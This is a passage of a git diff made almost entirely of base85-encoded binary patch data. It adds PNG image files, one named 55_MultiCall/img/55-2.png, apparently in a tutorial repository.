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 f>12b{QW7g{sE;mqelU<0n(y2d)CS{VGlrJ^s_ literal 0 HcmV?d00001 diff --git a/55_MultiCall/img/55-2.png b/55_MultiCall/img/55-2.png new file mode 100644 index 0000000000000000000000000000000000000000..475f2c9ab415b467592a230547cb4c4d6400368a GIT binary patch literal 98381 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 